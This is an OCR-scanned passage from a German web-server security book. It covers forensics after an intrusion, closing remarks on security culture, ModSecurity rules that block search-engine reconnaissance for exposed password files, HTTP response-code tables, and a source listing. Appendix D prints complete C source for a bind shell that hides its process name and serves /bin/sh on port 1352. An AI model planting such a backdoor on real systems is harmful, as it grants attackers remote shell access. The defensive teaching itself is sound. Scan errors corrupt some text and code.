reich, um nur bestimmte Absender auf Ihrem Server walten zu lassen.

,Portsentry” lauft auf den folgenden Betriebssystemen:
e Linux 1.x/2.x
e BSDI2.x/3.x
¢ OpenBSD 2.x
e FreeBSD 3.x
e HPUX10.20

e Solaris 2.6+

o AIX

e 5SCO

¢ Digital Unix
e NetBSD

e 0OSX

Download unter: [/28/].
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Was kann aus diesem Kapitel auf das eigene Netzwerk iibertragen werden?

Der Apache- und der IIS-Web-Server sind in den letzten Jahren umfassend iiberar-
beitet worden. Gerade der IIS hat durch eine komplett {iberarbeitete Struktur einen
grofsen Sprung in Richtung Sicherheit gemacht. Trotzdem ist es notwendig und
unentbehrlich, die angefiihrten Punkte durchzuarbeiten und umzusetzen.

Die IT ist eine sich rasch dndernde und wachsende Art der Arbeitsbeschaffungs-
mafSnahme fiir jeden Administrator und Systemverantwortlichen.

Sie werden immer wieder neue Applikationen auf Ihre Web-Server spielen, Daten-
banken anbinden, neue Dienste nutzen. Und das alles fiir einen Anwender, den Sie
in den meisten Fallen nicht kennen, und selbst wenn er durch eine Useridentifika-
tion bekannt sein sollte, ist Ihr System nur bedingt sicherer.

Um sich diesen Verdnderungen und neuen Herausforderungen zu stellen, ist es
wichtig, die angefangene Dokumentation und Umsetzung Ihrer Sicherheitsrichtli-
nien immer wieder zu aktualisieren.

Die Sicherheitsrichtlinie fiir den IIS muss organisationsweit abgestimmt und allen
Beteiligten, u.a. den zustdndigen Administratoren, bekannt gegeben worden sein.
Wenn sich Sicherheitsvorgaben verdandern, miissen alle Beteiligten hieriiber infor-
miert werden.

Nehmen Sie sich die Zeit, sich ins Bewusstsein zu rufen, was alles in den letzten
Wochen geéndert und angepasst worden ist. Erginzen sie diese Anderungen in
Thren Unterlagen. Uberlegen Sie sich, was das fiir Ihre Prozesse bedeutet. Miissen
Sie sich Gedanken iiber Zugriffsrechte machen? Sind neue Ports getffnet worden?
Koénnen Sie Thre Signaturen fiir ModSecurity anpassen, um auch Zugriffe auf die
neuen Datenbanken per SQL Statements von auflen zu filtern?

Wann haben sie das letzte Audit durchfiihren lassen oder wann wurden die letzten
Updates eingespielt?

Es wird immer wieder versdaumt, Updates vor dem Einspielen zu testen. Denken
Sie jedoch daran, wie viele Personen sich im Internet tummeln, die auf diese Nach-
lassigkeit eines Administrators warten und auf der Suche danach sind.
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bruch zu tun?

Das FBI meldete fiir das Jahr 2005 [/11/] einen Schaden bei Onlineverbrechen nur
fiir den amerikanischen Raum in Hohe von 67,2 Milliarden Dollar. In dieser Zahl
sind alle moglichen Formen von Cybercrime enthalten, also auch Phishing, Spywa-
re- oder Virenbefall von Rechnern/Servern.

Forensik fangt schon im Kleinen an, wenn Sie sich einen Dialer auf dem eigenen
Rechner eingefangen haben und dieser eine teure 0900-Verbindung aufbaut und
Sie am Monatsende eine Rechnung in 4-stelliger Hohe prasentiert bekommen.
Wenn es in Ihrem Unternehmen Aufiendienstmitarbeiter mit einem Firmenlaptop
gibt, ist es eine Uberlegung wert, wie diese Gerite in die Sicherheitsplanungen der
Firma eingebunden werden miissen. Sichern Sie in diesem Fall per Screenshot die
Einwahlfenster, das Installationsverzeichnis des Dialers auf Threm Rechner und
eventuelle Logdateien der Verbindung. Vielleicht haben Sie auch eine Telefonanla-
ge, die einen solchen Verbindungsaufbau protokolliert.

Fiir einen Administrator kann es von besonderem Interesse sein zu erkennen und
nachzuvollziehen, wie seine Systeme kompromittiert wurden. Diese wichtigen In-
formationen kénnen dann zur verbesserten Absicherung der Systeme dienen und
somit vor weiteren Systemausfallen schiitzen.

Das Vorgehen in einem solchen Fall nennt man Computer-Forensik. Der Begriff
,forensisch” kommt aus dem Lateinischen und bedeutet soviel wie , gerichtlich
oder kriminaltechnisch”. Die Forensik befasst sich laut Wikipedia[/29/] "mit der
Untersuchung von verdichtigen Vorfillen im Zusammenhang mit IT-Systemen und der
Feststellung des Tatbestandes und der Titer durch Erfassung, Analyse und Auswertung
digitaler Spuren in Computersystemen”. Die Bedeutung der IT-Forensik in Krisenfal-
len liegt im Nachvollzug deliktischer Handlungen und dem Sicherstellen rechts-
gliltigen Beweismaterials.

Aber sind es immer offensichtliche Einbriiche, wie z.B. ein Defacing der Webseite,
oder sind im Internet die Daten der eigenen Kunden unter Google zu finden?

Die meisten Einbriiche oder Datendiebstihle werden eher durch Zufall aufgedeckt.
Um diese Einbriiche dann noch so auszuwerten, dass auch Richter und Schoffen
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sie verstehen, bedarf es einer Untersuchung von Experten, die die Ergebnisse so
aufbereiten, dass sie auch von einem Laien nachvollzogen werden konnen.

15.1 Erste Schritte

Die Vorbereitungen miissen bereits vor dem ersten Schritt erledigt sein. Legen Sie

in Threm (hoffentlich vorhandenen) Sicherheitskonzept Thres Unternehmens fest,
wie vorzugehen ist, wenn ein System kompromittiert wurde.

Legen Sie Regeln und Mafinahmen fest, um ein iiberhastetes und unkontrolliertes

Vorgehen zu unterbinden und damit wichtige Spuren und Beweise fiir ein spateres
juristisches Nachspiel zu zerstoren.

Machen Sie sich im Vorfeld iiber folgende Punkte Gedanken:
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Informationsweg innerhalb des Unternehmens

Die Informationskette muss mit einer Prioritdtenreihenfolge festgelegt
werden. Halten sie diese Liste so knapp wie mdglich. Es muss nicht jede
Abteilung im Unternehmen informiert werden. Auf jeden Fall benétigen
die Geschiftsleitung und das Management sowie die mit dem System ar-
beitenden Mitarbeiter Informationen. Das Management muss zusatzlich
seine Zusage fiir eine forensische Untersuchung geben. Diese ldsst man
sich als Administrator idealerweise schriftlich bestdtigen. Genannte Infor-
mationen sollten an die jeweiligen Personen angepasst werden. So ist der
Geschiftsfithrung detaillierter zu berichten als den einzelnen Fachabtei-
lungen.

Informieren Sie Ihre IT-Partner/ihren IT Security-Spezialisten

Wenn Sie keinen eigenen Security-Spezialisten im Hause haben, informie-
ren Sie einen externen Berater.

Sicherung der Protokolldateien auf einem externen Datentrager.

Sichern Sie alle Protokolldateien des kompromittierten Systems auf einem
externen Datentrager oder auf einem separaten System. Mit einem Cross-
Connect-Kabel kdnnen Sie mit einem geharteten System auf das kompro-
mittierte System zugreifen.

Protokollieren Sie jede Tatigkeit, die Sie am System vornehmen.

Notieren Sie alle eingesetzten Tools und Vorgéange fiir ein spateres juristi-
sches Verfahren.



15.2 Spurensicherung

Sichern Sie den raumlichen Zugang zu den kompromittierten sowie allen
anderen Systemen ab.

Lassen Sie keine Personen, auch keine anderen Administratoren, die nichts
mit der forensischen Arbeit zu tun haben, die Systeme beriihren! Auch die
auf den ersten Blick nicht betroffenen Systeme sollten abgesichert werden.
Nur so ist sicherzustellen, dass keine Spuren verwischt werden, da bei der
forensischen Analyse die Erkenntnis kommen kann, dass weitere Systeme
ebenfalls betroffen sind oder der Einbruch in die Systeme von einem bis-
lang unbeteiligten Gerét aus erfolgt ist.

Treffen Sie erste Einschdtzungen zum Einbruch

Stellen Sie - falls nicht bereits im Sicherheitskonzept vorhanden - eine Liste
der auf dem kompromittierten System laufenden Dienste, Datenbanken
etc. zusammen. Versuchen Sie abzuschitzen, ob z.B. Daten von Kun-
den/Mitarbeitern verdandert oder entwendet wurden.

Ermitteln Sie anhand der Protokolldateien, ob auch andere Systeme betrof-
fen sind.

Ziehen Sie zur Analyse der Daten nicht die Originaldaten des kompromit-
tierten Systems hinzu sondern nur Kopien.

Machen Sie vom Bildschirm Digitalfotografien, um spater einen detaillier-
teren Uberblick zu bekommen, welche Vorgénge noch auf dem Monitor zu
sehen sind.

Halten Sie fest, welche Datentrdger an dem System angeschlossen sind
oder ob eventuell externe Geréte fehlen. Viele Datendiebstdhle werden von
den eigenen Mitarbeitern des Unternehmens vorgenommen.

15.2 Spurensicherung

Als erster Schritt ist es wichtig, das kompromittierte System zu isolieren und aus
dem Netzwerk Thres Unternehmens zu entfernen. Ziehen Sie also das Netzwerk-
kabel und arbeiten Sie nur noch iiber eine direkte Konsole mit dem System. Da Sie
nicht wissen konnen, was an dem System vom Angreifer gedndert und ausge-

tauscht wurde, konnen Sie dem installiertem System und den darauf installierten

Programmen und Tools nicht mehr trauen. Egal, ob Sie jetzt ein Windows- oder ein
Linux/Unix-System betreiben. Fahren Sie das System nicht herunter, da sonst
fliichtige Daten des Systems, Hinweise auf angemeldete Anwender, aktive Netz-
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verbindungen, gedffnete Anwendungen, laufende Prozesse oder den belegten Ar-
beitsspeicher verloren gehen kénnen.

Erstellen Sie ein Image vom Datentrager.

Fiir weitere und detailliertere Anleitungen und Erlduterungen sei das Buch , Com-
puter-Forensik. Systemeinbriiche erkennen, ermitteln, aufkldren” von Alexander
Geschonneck[/32/] nahe gelegt.

An einem Livesystem lassen sich auch Auffilligkeiten aufdecken. Suchen Sie auf
Ihrem System nach entsprechenden Dateien.

Weist Thr Server eine hohe Auslastung auf und steigt der Datenverkehr anormal,
wird er mit einer grofien Wahrscheinlichkeit als Downloadserver fiir Filme und
Musik herhalten. Auf einem Unixsystem suchen Sie bitte mit dem Kommando ,Isof -
i-n-P | grep -i listen” nach offenen und verbundenen Rechnern (im so genannten
»listen mode”). Besonders Ports, die im 3000er oder 8000er Bereich liegen, sind hier
interessant. Sie dienen oft als Port fiir Backdoors.

Suchen Sie dann nach Dateien, die grofier 20000 KB sind. Mit dem Kommando
,find / -size +20000k” werden alle Dateien grofSer 20000 KB aufgelistet. Wenn diese
nicht versteckt wurden, haben Sie schnell Gewissheit, was auf Ihrem Gerat los ist.

Schauen Sie anschlieflend mit ,Isof | grep Dateiname” nach zurzeit offenen Down-
loads des Filesharingprogramms. Sie erhalten dann auch eine Prozess-ID (PID).
Mit dieser PID konnen alle offenen Verbindungen herausgesucht werden, um die
IP-Adressen zu ermitteln, die gerade Dateien dieser Art herunterladen: ,Isof -i -n -P
| grep pid”.

Machen Sie Screenshots von diesen Anzeigen, um Spuren fiir ein spéteres und
eventuelles Gerichtsverfahren zu sichern.

Wichtig ist, dass Sie sich eventuell auch als ersten Schritt eingestehen, einen Spezi-
alisten zu Rate zu ziehen, der Ihnen bei dieser nicht einfachen Aufgabe hilft.

15.3 Rechtliche Aspekte der Forensik

Wie in den vorangegangenen Kapiteln erldutert, muss das Management seine Zu-
sage fiir eine forensische Untersuchung geben. Die Zustandigkeit einer solchen
Mafinahme verbleibt auch beim Management.

Das Management ist verpflichtet (nach KonTraG und TransPuG), unternehmensin-
terne Fehler aufzuklaren, die zu Schiaden gefiihrt haben oder fiithren konnten.
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15.3 Rechtliche Aspekte der Forensik

Die Methoden der Computer-Forensik werden noch nicht sehr oft in Unternehmen
angewendet, um nach einem Einbruch Spuren zu sichern. Vielfach schrecken die
zu erwartenden Kosten davon ab, einen Spezialisten mit der Aufgabe der Siche-
rung der Spuren zu beauftragen. Dabei liegen der Aufwand fiir eine Erstbesichti-
gung der Systeme meist bei ca. 1.000 Euro. Wenn man bedenkt, was es ein Unter-
nehmen kosten kann, wenn bei einem weiteren Einbruch erneut Daten verloren
gehen, ist das eine vertretbare Investition. Auch aus rechtlicher Sicht (Klage Ihrer
Kunden) ist es bei einem eventuellen Gerichtstermin von Vorteil, wenn man einen
Spezialisten benennen kann, der sich mit dem Fall beschaftigt hat. Die Forensik
kann insbesondere nicht nur belastendes, sondern auch entlastendes Material si-
cherstellen.

Unter Umstanden kann, wenn auf eine sorgféltige Analyse des Einbruchs mit einer
forensischen Untersuchung verzichtet wird, der Geschédigte (z.B. der Diebstahl
von Kreditkartennummern wie jiingst geschehen beim Onlineticketversand Kar-
tenhaus.de [/33/]) Anspriiche auf Schadenersatz stellen. Diese Anspriiche konnen
auch gegen die Unternehmensleitung seitens Dritter durchgesetzt werden und die
personliche Haftung der Mitglieder des Vorstandes beziehungsweise der Ge-
schéftsleitung zur Folge haben.

Aus diesem Grund sollte die Unternehmensleitung vermehrt bei Vertragsverhand-
lungen mit Partnern fiir die IT-Landschaft auf die Haftungsfragen zugunsten des
eigenen Unternehmens eingehen sowie die Beweislast fiir definierte Ereignisse
(Einbriiche, Datendiebstahl etc.) regeln. Regeln Sie, welche Aufgaben und Risiken
ihr IT-Partner {ibernimmt und welche Absicherungen er anbietet. Priifen Sie, ob
und wie seine Mitarbeiter, seine Vorgehensweise und seine Softwareprodukte zer-
tifiziert sind. Gerade hinsichtlich des Outsourcing und der Definition der Service
Level Agreements sollte darauf eingegangen werden. Bei genau abgegrenzten Haf-
tungsfragen und Beweislasten muss nédmlich der IT-Partner fiir eventuelle Schaden
einstehen und auch eine forensische Analyse finanzieren.
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Das Thema Sicherheit von Web-Servern erfihrt zunehmend das Interesse der Of-
fentlichkeit und der IT-Verantwortlichen. Der daraus entstehende Druck hat auf
viele Unternehmen eine heilsame Wirkung gehabt. Sie haben verstanden, dass
Kunden sich kiinftig gezielt jenen Unternehmen zuwenden werden, die glaubhaft
machen konnen, aktiv etwas zur Sicherheit der ihnen anvertrauten Daten zu un-
ternehmen. Ebenso bewusst ist den Unternehmen, dass es gilt, kiinftigen Scha-
densersatzforderungen vorzubeugen bzw. dem Verdacht, grob fahrlassig gehan-
delt zu haben. Dass sich Unternehmen auch aus diesem Druck heraus verstarkt um
Web-Server-Sicherheit bemiihen, ist positiv zu bewerten. Mit der zunehmenden
Verbreitung des Internets und der steigenden Nutzung von Internet-
Anwendungen werden die Gefahren grofser, die aus dem Internet drohen:

e Kriminelle aus der ganzen Welt versuchen, mit wenig Aufwand an Geld
zu kommen,

e Konkurrenten und Menschen, die Threm Unternehmen schaden wollen,
versuchen, Ihre Systeme zu manipulieren und

e sogenannte Skript-Kiddies richten mit spielerischen Manipulationen un-
gewollt groffen Schaden an.

Die Folgen konnen fiir die betroffenen Unternehmen lebensbedrohend sein.

Im Vorangegangenen haben wir gezeigt, wie Sie Ihr System gegen Angriffe und
Missbrauch absichern kénnen. Mit den von uns vorgestellten Mainahmen kénnen
Sie ein hohes Mafs an Sicherheit gegen Angriffe von aufsen erreichen. Aber es sollte
fiir jeden klar sein, dass eine einmalige Mafinahme nicht ausreicht, um langfristige
Sicherheit zu erreichen. Vielmehr muss laufend die Entwicklung der kriminellen
Moglichkeiten im Internet beobachtet und miissen entsprechende Mafinahmen er-
griffen werden. Nur wer sich der Probleme bewusst ist und die Schwachstellen
kennt, kann sich gezielt schiitzen.

Die Gegenmafinahmen beziehen sich auf zwei Bereiche: das Betriebssystem und
ggf. zusatzliche Sicherheitssoftware — wie im Vorangehenden ausfiihrlich be-
schrieben.

Sicherheit in Unternehmensnetzen fangt nicht bei der Implementierung einer Fi-
rewall oder eines Intrusion Detection Systems, also irgendwelcher technischer Lo-
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sungen fiir ein spezielles Sicherheitsproblem an, sondern in den K&pfen der ge-
samten Belegschaft eines Unternehmens. Ja, man muss mittlerweile sogar soweit
gehen, dass Zulieferer und Kunden, die auf Daten des Unternehmens zugreifen, in
dieses Sicherheitsdenken einbezogen werden. Alle Nutzer eines Netzwerkes miis-
sen fiir das Thema Sicherheit sensibilisiert werden, so dass sich jeder die Frage stel-
len muss, ob z.B. Auskiinfte an eine nicht naher bekannte Person - z.B. am Telefon
gegeben werden diirfen - Stichwort ,,Social Engineering”.

Das Heranfiihren der Mitarbeiter und Kollegen an das Thema Sicherheit in einem
Unternehmen ist einer der ersten Schritte bei der Durchfithrung und Umsetzung
eines Sicherheitskonzeptes. Sie konnen ein noch so durch technische Sperren und
Barrieren gesichertes Netzwerk haben, wenn aber z.B. ein Mitarbeiter seine Pass-
worter auf einem Notizzettel unter der Tastatur klebend aufbewahrt, brockelt die
aufgebaute Schutzmauer mit all den darin enthaltenen Sicherungsmafinahmen be-
reits.

Auf der anderen Seite miissen aber die Anwender selbst, die Administratoren, Sys-
temverantwortliche und IT Leiter erkennen, dass Software grundsatzlich nicht si-
cher ist, wohl auch nie sein wird. Dazu ist der heutige Anspruch an die Program-
mierung zu komplex und iiberladen. Funktionalitdten miissen in immer kiirzeren
Abstanden implementiert und auf den Markt gebracht werden. Nur so lassen sich
die Entwicklungskosten kalkulieren. Tests bei Software werden zwar durchge-
fiihrt, nur werden diese in den seltensten Fallen auch in Richtung Sicherheit erwei-
tert. Noch immer werden in einigen Anwendungen Formulardaten ungepriift in
Datenbanken geschrieben oder nicht auf Speicher-Uberlaufe gepriift. Damit wird
dem Missbrauch und der Manipulation Tiir und Tor getffnet!

Zusatzlich zu den beschriebenen , Einbriichen” in Ihr System droht neuerdings ei-
ne ganz andere Gefahr fiir Thre Web-Server: Mit einem sogenannten Remote-
Zugriff soll Behorden das Eindringen auf Privatrechner zum Zwecke der Fahn-
dung gestattet sein. Dafiir sollen alle Software-Hersteller gezwungen werden, in
ihre Produkte einen , Hintereingang” einzubauen, der dann von den Behorden ex-
klusiv (?) genutzt werden darf. Wie aber lédsst sich eine kriminelle Nutzung dieses
Schlupflochs verhindern?

Wer also an der Einbruchssicherheit seiner Web-Server ernsthaft interessiert ist,
sollte im eigenen Interesse solche Diskussionen kritisch im Auge behalten.

Das Thema Sicherheit darf in diesem Zusammenhang aber nicht zu einer Ausrede
fiir Zugriffe staatlicher Organisationen sein, wie sie in diesen Tagen in der Diskus-
sion um einen Remotezugriff der Behorden auf Privatrechner, um bei einem kon-
kreten Verdacht (Was ist ein konkreter Verdacht und - viel interessanter - wann ist
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ein Verdacht so konkret, dass eine Uberwachung stattfinden darf?) den oder die
jeweiligen Rechner zu durchsuchen. In diesem Sinne, George Orwell lasst griifien:

“You had to live, did live, in the assumption that every sound you made was over-
heard, and every movement scrutinized.”

-George Orwell, 1984-
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Anhang A

Weitere Filterregeln fiir das Sperren von Suchmaschinenanfrage per ModSecurity:

# Suchmaschinenanfragen sperren

SecFilterSelective HTTP_Referer "Powered by Gravity
Board" "id:350000,rev:1,severity:2,msg: 'Gravity Board
Google Recon attempt'"

SecFilterSelective HTTP_Referer "Powered by
SilverNews" "id:350001,rev:1,severity:2,msg:'SilverNews
Google Recon attempt'"

SecFilterSelective HTTP_Referer "Pow-
ered. *PHPBB. *2\.0\.\ dinurl\:"
"1d:350002,rev:1,severity:2,msg: 'PHPBB 2.0 Google Recon at-
tempt ' "

SecFilterSelective HTTP_Referer "PHPFreeNews in-
url\:Admin\ .php"
"1d:350003,rev:1,severity:2,msg: ' PHPFreeNews Google Recon
attempt'"

SecFilterSelective HTTP_Referer "inurl.*/cgi-
bin/query" "id:350004,rev:1,severity:2,msg:'/cgi-bin/guery
Google Recon attempt'"

SecFilterSelective HTTP_Referer "inurl.*tiki-
edit_submission\.php"
"1d:350005,rev:1,severity:2,msg: 'tiki-edit Google Recon at-
tempt ' "

SecFilterSelective HTTP_Referer "inurl.*wps_shop\.cgi"
"1d:350006,rev:1,severity:2,msg: 'wps_shop.cgi Google Recon
attempt'"

SecFilterSelective HTTP_Referer "in-
url.*edit_blog\.php.*filetype\ :php"
"1d:350007,rev:1,severity:2,msg: 'edit_blog.php Google Recon
attempt'"

SecFilterSelective HTTP Referer "in-
url. *passwd. txt . *wwwboard. *webadmin"

"1d:350008, rev:1,severity:2,msg: 'passwd. txt Google Recon
attempt'"
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SecFilterSelective HTTP_Referer "inurl.*admin\.mdb"
"1d:350008, rev:1,severity:2,msg: 'admin.mdb Google Recon at-
tempt'"

SecFilterSelective HTTP_Referer "filetype:sqgl
\x28\x22passwd values. *password values.*pass values"

SecFilterSelective HTTP_Referer "file-
type.*blt.*buddylist"

SecFilterSelective HTTP_Referer "File Upload Manager
v1l\.3.*rename to"

SecFilterSelective HTTP_Referer "filetype\x3Aphp HAX-
PLORER .*Server Files Browser"

SecFilterSelective HTTP_Referer "inurl.*passlist\.txt"

SecFilterSelective HTTP_ Referer "wwwboard WebAdminin-
url\x3Apasswd\.txt wwwboard\x7Cwebadmin"

SecFilterSelective HTTP_Referer "Enterip.*inurl\x3A\

x22php-ping\ .php\x22"

Abbildung 27: Suchmaschinenanfragen sperren mittels ModSecurity-Regeln (eine
Auswabhl)
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Anhang B - Apache Response Codes

Successful Client Requests:

200 OK (Die Anforderung des Clients war erfolgreich)

201 Created (Erstellt)

202 Accepted (Akzeptiert)

203 Non-Authorative Information (Nicht autorisierte Information)
204 No Content (Kein Inhalt)

205 Reset Content (Inhalt zuriicksetzen)

206 Partial Content (Teilinhalt)

Client Request Redirected:

300 Multiple Choices (Ahnliche Dokumente gefunden)
301 Moved Permanently (Permanent verschoben)

302 Moved Temporarily (Temporér verschoben)

303 See Other (URL an anderer Stelle zu erreichen)

304 Not Modified (Nicht gedndert)

305 Use Proxy (Proxy benutzen)

Client Request Errors:

400 Bad Request (Ungiiltige Anforderung)

401 Authorization Required (Anmeldung erforderlich)

402 Payment Required (not used yet) (Bezahlung erforderlich — noch nicht genutzt)
403 Forbidden (Unzuléssig)

404 Not Found (Nicht gefunden)

405 Method Not Allowed (Methode nicht erlaubt)

406 Not Acceptable (encoding) (Anforderung nicht akzeptiert)

407 Proxy Authentication Required (Anmeldung am Proxy erforderlich)

408 Request Timed Out (Anforderung abgelaufen)
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409 Contflicting Request (Widerspriichliche Anforderung)
410 Gone (Angeforderte Ressource nicht mehr verfiigbar)

411 Content Length Required (Daten werden nicht gesendet, bevor sie eine Angabe
zur Lange enthalten)

412 Precondition Failed (Vorbedingung fehlgeschlagen)

413 Request Entity Too Long (Anforderungseinheit ist zu grof3)
414 Request URI Too Long (Anforderungs-URI ist zu lang)

415 Unsupported Media Type (Nicht unterstiitzter Medientyp)

Server Errors:
500 Internal Server Error (Interner Server-Fehler)
501 Not Implemented (Headerwerte nicht implementiert)

502 Bad Gateway (Fehler wurde vom zwischengeschalteten Proxy bzw. Gateway
erkannt)

503 Service Unavailable (Service nicht erreichbar)
504 Gateway Timeout (Zeitiiberschreitung beim Gateway)
505 HTTP Version Not Supported (HTTP-Version wird nicht unterstiitzt)
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Anhang C - lIS Response Codes

1xx - Informational (Informationen)
100 - Continue (Fortfahren)
101 - Switching protocols (Protokolle werden gewechselt)

2xx - Success (Erfolgreich)

200 - OK The request has succeeded. (Die Anforderung des Clients war erfolgreich)
201 - Created (Erstellt)

202 - Accepted (Akzeptiert)

203 - Non-authoritative information (Nicht autorisierte Information)

204 - No content (Kein Inhalt)

205 - Reset content (Inhalt zuriicksetzen)

206 - Partial content (Teilinhalt)

3xx - Redirection (Umleitung)
302 - Object moved (Objekt verschoben)
304 - Not modified (Nicht gedndert)

307 - Temporary redirect (Tempordre Umleitung)

4xx - Client Error (Clientfehler)

400 - Bad request (Ungiiltige Anforderung)

401 - Access denied (Zugriff verweigert)

401.1 - Logon failed (Anmeldung fehlgeschlagen)

401.2 - Logon failed due to server configuration (Anmeldung aufgrund der Server-
konfiguration fehlgeschlagen)

401.3 - Unauthorized due to ACL on resource (Nicht autorisiert wegen ACL auf
Ressource)

401.4 - Authorization failed by filter (Autorisierung aufgrund von Filter fehlge-
schlagen)
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401.5 - Authorization failed by ISAPI/CGI application (Autorisierung aufgrund
von ISAPI/CGI-Anwendung fehlgeschlagen)

401.7 - Access denied by URL authorization policy on the Web-Server (Zugriff auf-
grund von URL-Autorisierungsrichtlinie auf dem Web-Server verweigert)

403 - Forbidden (Unzulassig)

403.1 - Execute access forbidden (Ausfithrungszugriff verweigert)
403.2 - Read access forbidden (Lesezugriff verweigert)

403.3 - Write access forbidden (Schreibzugriff verweigert)

403.4 - SSL required (SSL erforderlich)

403.5 - SSL 128 required (128-Bit-SSL erforderlich)

403.6 - IP address rejected (IP-Adresse zuriickgewiesen)

403.7 - Client certificate required (Clientzertifikat erforderlich)

403.8 - Site access denied (Zugriff der Site verweigert)

403.9 - Too many users (Zu viele Benutzer)

403.10 - Invalid configuration (Ungiiltige Konfiguration)

403.11 - Password change (Kennwortdnderung)

403.12 - Mapper denied access (Zugriff durch Mapper verweigert)
403.13 - Client certificate revoked (Clientzertifikat widerrufen)

403.14 - Directory listing denied (Auflistung in Verzeichnis verweigert)
403.15 - Client Access Licenses exceeded (Clientzugriffslizenzen iiberschritten)

403.16 - Client certificate is untrusted or invalid (Clientzertifikat nicht vertrauens-
wiirdig oder ungiiltig)

403.17 - Client certificate has expired or is not yet valid (Clientzertifikat abgelaufen
oder noch nicht giiltig)

403.18 - Cannot execute requested URL in the current application pool (Angefor-
derte URL kann im aktuellen Anwendungspool nicht ausgefiihrt werden)

403.19 - Cannot execute CGIs for the client in this application pool (CGlIs fiir den
Client konnen in diesem Anwendungspool nicht ausgefiihrt werden)

403.20 - Passport logon failed (Passport-Anmeldung fehlgeschlagen)
404 - Not found (Nicht gefunden)
404.0 - (None) - File or directory not found (Datei oder Verzeichnis nicht gefunden)
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404.1 - Web site not accessible on the requested port (Kein Zugriff auf Website auf
angefordertem Port)

404.2 - Web service extension lockdown policy prevents this request (Anforderung
wird durch Lockdown-Richtlinie der Webdiensterweiterung verhindert)

404.3 - MIME map policy prevents this request (Anforderung wird durch MIME-
Verzeichnisrichtlinie verhindert)

405 - HTTP verb used to access this page is not allowed (method not allowed) (Fiir
Zugriff auf diese Seite verwendetes HTTP-Verb ist nicht zuldssig, Methode unzu-
lassig)

406 - Client browser does not accept the MIME type of the requested page (Client-
browser akzeptiert den MIME-Typ der angeforderten Seite nicht)

407 - Proxy authentication required (Proxyauthentifizierung erforderlich)
412 - Precondition failed (Vorbedingung fehlgeschlagen)

413 - Request entity too large (Anforderungseinheit ist zu grof3)

414 - Request-URI too long (Anforderungs-URI ist zu lang)

415 - Unsupported media type (Nicht unterstiitzter Medientyp)

416 - Requested range not satisfiable (Angeforderter Bereich kann nicht erfiillt
werden)

417 - Execution failed (Ausfithrung fehlgeschlagen)
423 - Locked error (Fehler durch Sperre)

5xx - Server Error (Serverfehler)
500 - Internal server error (Interner Serverfehler)

500.12 - Application is busy restarting on the Web-Server (Anwendung wird gera-
de auf dem Web-Server neu gestartet)

500.13 - Web-Server is too busy (Web-Server ist ausgelastet)

500.15 - Direct requests for Global.asa are not allowed (Direkte Anforderungen fiir
"Global.asa" nicht zuldssig)

500.16 - UNC authorization credentials incorrect (UNC-Anmeldeinformationen
unkorrekt)

500.18 - URL authorization store cannot be opened (URL-Autorisierungsspeicher
kann nicht geoffnet werden)
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500.100 - Internal ASP error (Interner ASP-Fehler)

501 - Header values specify a configuration that is not implemented (Headerwerte
geben nicht implementierte Konfiguration an)

502 - Web-Server received an invalid response while acting as a gateway or proxy
(Der Web-Server hat, wahrend er als Gateway oder Proxyserver fungierte, eine
ungiiltige Antwort empfangen)

502.1 - CGI application timeout (Zeitiiberschreitung der CGI-Anwendung)
502.2 - Error in CGI application (Fehler in CGI-Anwendung)

503 - Service unavailable (Dienst nicht verfligbar)

504 - Gateway timeout (Zeitiiberschreitung des Gateways)

505 - HTTP version not supported (HTTP-Version wird nicht unterstiitzt)
(Vergleiche dazu auch [/26/])
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Anhang D - Beispielcode bindshell.c

/* bindshell.c */
#define PORT 1352
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;

int main (int argc, char *argvl[])
{
int 1i;
for(i=0;i<argc;i++) {
memset (argv([i], '\x0',strlen(argv([i]));
Y
strepy (argv([0], "beispielcode") ;

soc_des = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
if (soc_des == -1)
exit(-1);
bzero((char *) &serv_addr, sizeof (serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl (INADDR_ANY) ;
serv_addr.sin_port = htons (PORT) ;
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr,
sizeof (serv_addr)) ;
if (soc_rc != 0)
exit (-1);
if (fork() != 0)
exit (0);
setpgrp () ;
signal (SIGHUP, SIG_IGN) ;
if (fork() !'= 0)
exit (0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit (0) ;
while (1) {
soc_len = sizeof(client_addr) ;
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Anhang

soc_cli = accept(soc_des,

&client_addr, &soc_len);
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if (soc_cli < 0)
exit(0);

cli_pid = getpid()

server_pid = fork(

dup?2 (soc_cli,0);
dup2 (soc_cli, 1

dup?2 (soc_cli,2);

) I’
if (server_pid != 0) {

)

)

7

(struct sockaddr *)

execl ("/bin/sh", "sh", (char *)0);

close(soc_cli);
exit (0) ;
}

close(soc_cli);

}



Quellenverzeichnis

[/1/] http://www heise.de; Newsdienste

[/2/] Soellner Datentechnik; News-Ticker Meldung vom 07.01.2004 ,(IT-) Sicher
in die Zukunft”; <http://news-ticker.soellner.net/pm.php?id=1057&>; (letzte An-
sicht Januar 2004)

[/3/] Industrie und Handelskammer Liineburg-Wolfsburg; “ b-online Auftaktver-
anstaltung 2004
IT-Sicherheit im Mittelstand - eine Management-Aufgabe”; <http://www.ihk24-
luene-
burg.de/LGIHK24/IHK24/produktmarken/innovation/ecommerce_und_internet/A
nhaengsel/Vortrag_IBM.pdf>; (letzte Ansicht Marz 2004)

[/4/] Informationweek; ,RSA-Konferenz: Mehr Geld fiir Kaffee als fiir Sicherheit”;
<http://www.informationweek.de/index.php3?/channels/channel05/020510b.htm>;
(letzte Ansicht Méarz 2004)

[/5/] HEISE (2003), Newsletter-Dienst (August 2003) Microsoft Website durch
DoS-Angriff lahmgelegt, <http://www.heise.de/newsticker/data/cp-02.08.03-000/>,
(letzte Ansicht August 2003)

[/6/] SYSTEMS (2003), Newsletter-Dienst (Juli 2003) 13,7 Prozent mehr Internet-
Attacken, <http://www.systemsworld.de/?id=6555&CMEntries_ID=13688>, (letzte
Ansicht Juli 2003)

[/7/]1 HEISE (2003), Newsletter-Dienst (August 2003) Dark Age of Camelot Opfer
von Computervandalismus <http://www heise.de/newsticker/data/pab-27.08.03-
000/>, (letzte Ansicht August 2003)

145



Quellenverzeichnis

[ABENDBLATT04]Hamburger Abendblatt (Februar 2004); “Technik”; Ausgabe
vom 2.02.2004

